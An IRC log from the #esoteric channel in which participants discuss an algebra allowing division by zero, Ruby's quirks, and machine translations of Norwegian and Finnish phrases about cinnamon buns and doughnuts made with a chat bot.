1267574538 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so does YOUR MOM < 1267574558 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: (0/1)*normal = ? < 1267574570 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: well if normal = 1/n then it should be 0/n < 1267574583 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fair enough < 1267574587 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i think i had that too anyway < 1267574590 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what if normal = 2/n? < 1267574593 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :wait, what is normal here? < 1267574595 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0/(2/n)? < 1267574620 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: not 0/m or n/0 where m>1 or n>0 < 1267574621 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: 0/(n/2) < 1267574627 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :okay. < 1267574628 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: ok < 1267574651 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :I like Ruby symbols < 1267574662 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :4/5 * 0/1 = ? < 1267574673 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :for that matter, 4/5 * 0/2 = ? < 1267574696 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :0/(5/2) < 1267574696 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :0 in all cases, I think < 1267574753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: = < 1267574753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267574763 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's nat/nat and 5/2 is not a natural < 1267574765 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the latter one < 1267574767 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :Some Ruby syntax is strange < 1267574784 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i guess it's just (0/1)/(5/2) < 1267574806 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: you cannot get everything in the form m/n with naturals if you assume it's an abelian group and 0 cannot be combined in < 1267574807 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric := 0/5 < 1267574830 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: 0 is 0/1 < 1267574843 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0/n isn't anywhere near being 0 despite intuition < 1267574854 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: that doesn't help _reduce_ the number of factors < 1267574892 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe i expressed myself wrongly < 1267574893 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :0/(5/2) cannot be written simpler, afaict < 1267574924 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's the same as 0*(2/5), though < 1267574937 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :is it not 0/5? < 1267574984 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0/(5/2) = (0/1)/(5/2) = (0*2)/(1*5) = 0/5 < 1267574994 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ouch < 1267575000 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :um... Ruby uses C++-like syntax for some I/O? < 1267575015 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: i just done a bad :D < 1267575016 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: if it's an abelian group then 0*x = 0 implies x = 1 < 1267575040 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0/5 =/= 0 < 1267575049 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0*(2/5) = 0/5 < 1267575052 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :er < 1267575054 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(0/2)*(2/5) = 0/5 < 1267575063 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or was it /, I forget by now < 1267575064 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or even + < 1267575070 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but point is, just as 1/2 isn't 1/1 < 1267575073 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the latter would be correct for a group < 1267575075 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0/n isn't 0 < 1267575098 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :indeed. and so 0/(5/2) cannot be simplified, although there are rearrangements < 1267575108 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Like my random hash generator? (http://pastie.org/850853) :P < 1267575117 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(0/5)*2, say < 1267575122 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: cool. < 1267575129 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :alise, :D < 1267575131 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: how is 0/(5/2) = 0/5 wrong? < 1267575156 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: neat, but inefficient < 1267575189 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :also biased < 1267575224 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: => 5/2 = 5 by abelian group axioms < 1267575237 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :coppro, yes it is biased and it is inefficient; I wasn't aiming for either. < 1267575238 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but i don't like 0/(5/2) being irreducable :( < 1267575242 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :find some other algebraic structure :P < 1267575246 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1267575251 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :sheesh < 1267575280 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1267575308 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :coppro, I'm new to Befunge. Just trying out what I've learned. :) < 1267575383 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :coppro, I tried to make the odds as balanced as I could without rewriting the whole program. < 1267575404 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1267575521 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: i have a sneaking feeling this is all quite impossibe < 1267575524 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*impossible < 1267575564 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :anything is possible < 1267575583 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i mean, retaining all the basic properties we want < 1267575584 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :anything! < 1267575590 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and no. _|_ isn't possible < 1267575590 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: duh < 1267575603 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: see that is *not* the answer i was hoping for < 1267575624 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Would be fun to have a complete number system with no undefined operations at all < 1267575641 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Reals go horizontally, complexes stack on top vertically, and things we had to add to make everything work go sort of spiralling off diagonally < 1267575681 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :there's a reason 0/0 is considered an indeterminate form < 1267575717 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Bite my shiny zero-dividing fraction. :| < 1267575782 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION gives up on TryRuby
< 1267575857 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: new suggestion: we define 0/0 to be a daffodil < 1267575868 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: you are so boring :( < 1267575889 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I had to work hard for a joke that bad :( < 1267575902 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: well if you want to insist that everything is m/n for integers m, n then maybe it would be better to define the operations and then _afterward_ finding out which rules still hold < 1267575912 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes. < 1267575917 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: will you remind me to, tomorrow? < 1267575927 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: please tell me you at least got the joke < 1267575935 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :also, you're allowed back on on weekdays now? < 1267575945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no i'm not going because of overriding crisis < 1267575952 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although you still need to decide which fractions in non-smallest terms are equal < 1267575958 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :complicated, and i'm going now anyway < 1267575962 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hopefully i will be here tomorrow < 1267575963 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :see you guys! < 1267575965 0 :alise!unknown@unknown.invalid QUIT :Quit: alise < 1267576276 0 :cpressey!unknown@unknown.invalid PART #esoteric :? < 1267576337 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : `translate Hva de skal se, vites ikke enda! <-- yeah that looks like Norwegian indeed <-- except that kind of passive is ridiculously stilted for norwegian < 1267576355 0 :SimonRC!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1267576418 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :passives with -es are much less common in norwegian than swedish afaik < 1267576527 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it could of course be stilted for humorous reasons < 1267576979 0 :SimonRC!~sc@fof.durge.org JOIN :#esoteric < 1267578177 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267578377 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1267579094 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :No closures in Ruby [apparently] < 1267579103 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is learning!
< 1267579122 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1267579143 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :n/m < 1267579616 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Wait, those things don't close? < 1267579822 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :Methods can't see surrounding variables, but blocks can < 1267579824 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :Apparently < 1267580264 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :In Ruby, there seem to be a million ways to accomplish the same thing < 1267580269 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :For any given "thing" < 1267580313 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ruby stole that from perl, obviously < 1267580486 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(see: perl motto) < 1267580703 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267580709 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1267580711 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267582123 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is considering running back to his beloved Python
< 1267583366 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267583613 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267584055 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: or it could be stilted for dramatic effect. < 1267584058 0 :ruhtranayr!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267584171 0 :thewolfangel!~mommy@173.160.75.174 JOIN :#esoteric < 1267584173 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: it is really _too_ stilted for that < 1267584189 0 :thewolfangel!unknown@unknown.invalid PART #esoteric :? < 1267584191 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it is not just the passive, but also the word order < 1267584221 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Yet to be known is which movie." < 1267584247 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :That, at least, looks like a plausible thing to say. < 1267584305 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"Hva de skal se, er ennå ukjent!" would be a better phrasing for that purpose. < 1267584339 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Maybe this is just a stilted person. :P < 1267584393 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :That's a Facebook status update. "Marianna skal straks se film med Ørjan. Hva de skal se, vites ikke enda!" < 1267584400 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :s/Marianna/Marianne/ < 1267584423 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto sv en Marianne skal straks se film med Ørjan. < 1267584426 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's definitely humoristically dramatic, then < 1267584432 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Marianne skal straks see movies with Ørjan. < 1267584442 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's norwegian, not swedish < 1267584445 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I know. < 1267584452 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto sv en Hva de skal se, vites ikke enda! < 1267584454 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Hva de skal se, vites ikke only! < 1267584465 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :That translated less well. < 1267584502 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I wonder what a P-knappen is. < 1267584512 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto sv en Vad dom skal se, vites inte ennu! < 1267584514 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :As they peel look, vites not ennu! < 1267584521 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what the heck! < 1267584533 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :my swedish must be worse than i thought :D < 1267584549 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION peels look.
< 1267584557 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh skal = skall < 1267584562 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or shell < 1267584570 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :completely different meaning in swedish < 1267584612 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto sv en Vad dom ska se, vets inte enn! < 1267584614 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :What they should look, not vets enn! < 1267584623 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*sigh* < 1267584645 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto no sv Hva de skal se, vites ikke enda! < 1267584647 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Att se, är inte känt ännu! < 1267584676 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :not exactly perfect either (well, the first part) < 1267584686 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the second part actually removed the stiltedness < 1267584712 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto no en Hva de skal se, vites ikke enda! < 1267584714 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :What to see, is not known yet! < 1267585012 0 :thewolfangel!~mommy@173.160.75.174 JOIN :#esoteric < 1267585029 0 :thewolfangel!unknown@unknown.invalid PART #esoteric :? < 1267585215 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Thew ol' fang el. < 1267585225 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :El Ol' Thew Fang. < 1267585257 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :No no, Ol' El Thew Fang. < 1267585314 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Like Old El Paso, except Ol' instead of Old and Thew Fang instead of Paso. < 1267585397 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :gawnt hell foe < 1267585445 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Gawnt" isn't a word. < 1267585459 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i thought it was close enough to gaunt < 1267585786 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate korvapuusti < 1267585789 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :var sl_select, tl_select, web_sl_select, web_tl_select;var ctr, web_ctr, h;var tld = ".com";var sug_lab = "";var sug_thk = "";var sug_exp = "";var dhead = "Dictionary";var dmore = "View detailed dictionary";var tr_in = "Translating...";var isurl = "";var show_roman = "Show romanization";var < 1267585812 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto fi en korvapuusti < 1267585814 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :slap in the face < 1267585846 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Korvapuusti on kanelilla, sokerilla ja voilla täytetty pulla. < 1267585848 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Is a slap in the face with cinnamon, sugar and butter filled bun. < 1267585890 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm guessing that sentence doesn't have a copula. < 1267585896 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate kanelilla < 1267585898 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :var sl_select, tl_select, web_sl_select, web_tl_select;var ctr, web_ctr, h;var tld = ".com";var sug_lab = "";var sug_thk = "";var sug_exp = "";var dhead = "Dictionary";var dmore = "View detailed dictionary";var tr_in = "Translating...";var isurl = "";var show_roman = "Show romanization";var < 1267585906 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto fi en kanelilla < 1267585908 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :cinnamon < 1267585915 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto fi en on < 1267585917 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :is < 1267585922 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I was wrong. < 1267585959 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It looks like -illa means... whatever case you use for "filled with". < 1267585971 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267585974 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto fi en täytetty < 1267585976 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :filled < 1267586009 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto fi en korva < 1267586011 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :ear < 1267586023 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto fi en puusti < 1267586025 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Puusti < 1267586034 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If a korva is an ear, why is a korvapuusti a slap in the face? < 1267586047 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Are Finns' ears on their faces? < 1267586052 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :probably more a slap on the ear, then < 1267586064 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"ørefik" in norwegian < 1267586067 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Wikipedia says it means "slap on the ear". < 1267586078 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto no fi ørefik < 1267586080 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :puhaltaa < 1267586085 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Skillingsbolle", actually. < 1267586106 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto fi no puhaltaa < 1267586108 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :blåse < 1267586114 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what the heck < 1267586123 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto fi no korvapuusti < 1267586125 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :slag i ansiktet < 1267586137 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto no en ørefik < 1267586139 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :blow < 1267586142 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267586146 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto fi no Skillingsbolle on kanelilla, sokerilla ja voilla täytetty pulla. < 1267586148 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Skillingsbolle er kanel, sukker og smřr fylt bun. < 1267586154 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Skillingsbolle er kanel, sukker og smřr fylt bun. < 1267586156 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Skilling Bowl is cinnamon, sugar and smřr filled bun. < 1267586159 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it seems to be wrecking it by going through english < 1267586195 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Skilling? < 1267586215 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm a skillingsbolle would be a bun filled _with_ the other things i think < 1267586221 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION begins skilling.
< 1267586238 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Kanelbolle er kanel, sukker og smřr fylt bun. < 1267586239 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Cinnamon roll are cinnamon, sugar and smřr filled bun. < 1267586240 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :skilling is an old coin < 1267586288 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's really not correct norwegian < 1267586295 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Skillingsbolle, også kalt kanelbolle, er en tradisjonsrik bolle mange tror stammer fra Bergen, men som selges og har vært solgt i butikker og bakerier over stort sett hele landet. < 1267586297 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Skilling Bowl, also called cinnamon bun, is a traditional bowl many believe stems from Bergen, but sold and have been sold in shops and bakeries across virtually the entire country. < 1267586320 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you'd either add a lot of hyphens, or switch things around using the preposition "med" < 1267586326 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The entire country! < 1267586339 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well yeah < 1267586342 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Navnet kommer av at bollene i sin tid kostet én skilling per stykk. < 1267586344 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :The name comes from the urchins in the time cost of one shilling per piece. < 1267586364 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto no en bollene < 1267586367 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :urchins < 1267586379 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :bolle hear doesn't really mean bowl. it means a ball-shaped bakery good < 1267586388 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what the heck? < 1267586396 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`define urchin < 1267586398 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* poor and often mischievous city child \ [22]wordnetweb.princeton.edu/perl/webwn \ * Urchin was the code name for the neutron generating device that triggered the nuclear detonation of the earliest plutonium atomic bombs such as Fat Man, once the critical mass had been "assembled" by the force of conventional < 1267586410 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's just - wrong < 1267586420 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :An urchin is a hedgehod, I hear. < 1267586426 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hedgehog, even. < 1267586437 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :_that_ would be pinnsvin < 1267586449 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And a sea urchin is a hedgehog of the sea. < 1267586452 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto en no urchin < 1267586454 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :urchin < 1267586454 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i don't think there is a good translation for the bakery "bolle" < 1267586454 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Precisely. < 1267586473 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Donut hole. :P < 1267586474 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah! < 1267586484 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's "kråkebolle" < 1267586489 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but never just "bolle" < 1267586497 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What's a kråke? < 1267586499 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(sea urchin that is) < 1267586502 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :kråke = crow < 1267586517 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A crow bolle. < 1267586535 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :basically crows eat them like people eat the other thing < 1267586610 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The kråke eat the kråkebolle and people eat the smultring? < 1267586622 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um no people eat the bolle < 1267586626 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well the smultring too < 1267586645 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Crows eat crow-bolles like people eat bolles? < 1267586650 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or specifically hvetebolle, the most generic type < 1267586652 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :What's this about smut-ring? < 1267586655 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(wheat) < 1267586656 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh, smultring. < 1267586671 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: A smultring is a ring-formed cake cooked of smult. < 1267586681 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :lard ring < 1267586692 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Cooked *in* smult. < 1267586701 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :deep fried dough rings < 1267586708 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... doughnuts. < 1267586715 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Ah, that's the word. < 1267586729 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :same shape, but completely different size and recipe < 1267586751 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What's a completely different size and recipe but the same shape? < 1267586765 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :smultring vs. doughnut < 1267586786 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Are those both words in one language? < 1267586808 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Oh, huh. "Smultring" is an English word. < 1267586812 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well american-style doughnuts are sometimes sold in norway under that name < 1267586832 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a smultring wouldn't have any kind of glaze < 1267586845 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Not all doughnuts have glaze. < 1267586850 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Glazed doughnuts have glaze. < 1267586865 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :just a small flat dough ring, dropped into hot lard where it expands to a torus shape < 1267586868 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1267586877 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So, a doughnut :P < 1267586898 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It looks like smultrings are a certain type of smultringer! < 1267586912 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Just like the salsa is a certain type of la salsa. < 1267586917 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ic so not all american doughnuts conform to the norwegian stereotype of them :) < 1267586945 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :http://www.voodoodoughnut.com/ < 1267586973 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Some are rings and glazed, some are rings and not glazed, some are circular but not rings, some are a rounded box with dimension ratio approximately 4:2:1. < 1267586981 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The non-ring ones are all filled with something; none of the ring ones are. < 1267586992 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Well that's just not true. < 1267587011 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Of course not. There's no law of physics requiring there to be filling in a 